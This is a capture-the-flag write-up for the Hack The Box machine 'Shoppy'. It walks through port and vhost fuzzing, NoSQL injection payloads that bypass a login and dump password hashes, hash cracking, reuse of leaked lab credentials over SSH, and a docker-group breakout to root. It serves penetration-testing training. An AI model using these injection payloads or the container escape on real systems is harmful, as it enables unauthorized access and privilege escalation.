This is my writeup for the Shoppy machine on the Hackthebox plateform.
Letās start with anĀ nmap scanĀ to enumerate the different ports that are open.
Port 22 (SSH)
Port 80 (HTTP)
Starting Nmap 7.80 ( https://nmap.org ) at 2022-09-21 20:17 UTC
Nmap scan report for 10.10.11.180
Host is up (0.13s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http nginx 1.23.1
|_http-server-header: nginx/1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.77 seconds
Website
When we go to the website via the IP address, we are redirected to the domain shoppy.htb. You can add it to the /etc/hosts file.
qu35t@lab:~$ curl -v http://10.10.11.180
* Trying 10.10.11.180:80...
* Connected to 10.10.11.180 (10.10.11.180) port 80 (#0)
> GET / HTTP/1.1
> Host: 10.10.11.180
> User-Agent: curl/7.81.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 301 Moved Permanently
< Server: nginx/1.23.1
< Date: Wed, 21 Sep 2022 20:32:24 GMT
< Content-Type: text/html
< Content-Length: 169
< Connection: keep-alive
< Location: http://shoppy.htb
The main page is a countdown timer and doesn’t seem to have any special functionality.
The directory fuzz tells us several routes, including /admin which seems to be interesting and which redirects to /login.
________________________________________________
:: Method : GET
:: URL : http://shoppy.htb/FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-large-words.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
_______________________________________________
admin [Status: 302, Size: 28, Words: 4, Lines: 1]
images [Status: 301, Size: 179, Words: 7, Lines: 11]
css [Status: 301, Size: 173, Words: 7, Lines: 11]
login [Status: 200, Size: 1074, Words: 152, Lines: 26]
js [Status: 301, Size: 171, Words: 7, Lines: 11]
assets [Status: 301, Size: 179, Words: 7, Lines: 11]
fonts [Status: 301, Size: 177, Words: 7, Lines: 11]
exports [Status: 301, Size: 181, Words: 7, Lines: 11]
This endpoint is a login page where the user is prompted to enter his username and password to connect. Default passwords like admin or password do not work for this case.
When adding a single quote, regardless of the size of the payload, in the username or password field, the server timeout. This is interesting because there is something going on on the server side.
The following payload bypasses this authentication with a NoSQL injection :
admin'||'
Once logged in to the administrator area, you can find a user search functionality.
This feature allows you to search for a user and export the hash of his password. This feature is also vulnerable to NoSQL injection. We will use it to retrieve all the users from the database.
The following payload allowed me to find all the user entries in the database :
admin'||''=='
We then get 2 users: admin and josh
We can crack the josh hash with hashcat :
josh:remembermethisway
qu35t@lab:~$ hashcat -m 0 --username hashes.txt /opt/rockyou.txt
Watchdog: Temperature abort trigger set to 100c
Host memory required for this attack: 175 MB
Dictionary cache built:
* Filename..: /opt/rockyou.txt
* Passwords.: 14344394
* Bytes.....: 139921525
* Keyspace..: 14344387
* Runtime...: 1 sec
6ebcea65320589ca4f2f1ce039975995:remembermethisway
A fuzzing of vhosts find mattermost.shoppy.htb. We can add it to our hosts file and see what it is.
qu35t@lab:~$ ffuf -u http://shoppy.htb/ -H "Host: FUZZ.shoppy.htb" -w /opt/SecLists/Discovery/DNS/namelist.txt -fs 169
________________________________________________
:: Method : GET
:: URL : http://shoppy.htb/
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/namelist.txt
:: Header : Host: FUZZ.shoppy.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response size: 169
________________________________________________
mattermost [Status: 200, Size: 3122, Words: 141, Lines: 1]
Mattermost is an open source platform for secure communications, collaboration and workflow orchestration. We can connect to the platform with josh’s credentials :
josh:remembermethisway
A private channel discloses credentials to deploy a machine. With this credentials, we can connect in SSH.
jaeger:Sh0ppyBest@pp!
qu35t@lab:~$ ssh jaeger@shoppy.htb
jaeger@shoppy.htb password:
Linux shoppy 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
jaeger@shoppy:~$
Privesc
By listing the privileges of the user jaeger, we realize that he can launch as the user deploy the binary password-manager.
jaeger@shoppy:~$ sudo -l
[sudo] password for jaeger:
Matching Defaults entries for jaeger on shoppy:
env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jaeger may run the following commands on shoppy:
(deploy) /home/deploy/password-manager
We can retrieve the binary on our machine and decompile it with Ghidra. The program will first ask us for the master password in order to validate our identity. Then, it will compare it with the following string :
Sample
Finally, if the password is correct, it will open the creds.txt file located in the deploy user’s home and display its content.
jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!
The deploy user is part of the docker group, so we can abuse these permissions to mount the root volume in a docker image and read its contents. (https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation)
deploy@shoppy:/home/jaeger$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)
deploy@shoppy:/home/jaeger$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
alpine latest d7d3d98c851f 2 months ago 5.53MB
deploy@shoppy:/home/jaeger$ docker run -it -v /:/host alpine:latest chroot /host/ bash
root@54d94bde3352:/# ls -la /root
total 32
drwx------ 5 root root 4096 Aug 10 05:00 .
drwxr-xr-x 19 root root 4096 Sep 12 13:36 ..
lrwxrwxrwx 1 root root 9 Jul 22 11:46 .bash_history -> /dev/null
-rw-r--r-- 1 root root 571 Apr 10 2021 .bashrc
drwx------ 3 root root 4096 Jul 22 11:40 .cache
drwx------ 3 root docker 4096 Jul 22 13:32 .config
lrwxrwxrwx 1 root root 9 Jul 23 05:17 .dbshell -> /dev/null
drwxr-xr-x 3 root root 4096 Jul 22 11:47 .local
-rw------- 1 root root 0 Jul 23 05:16 .mongorc.js
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
-rw-r----- 1 root root 33 Sep 21 14:22 root.txt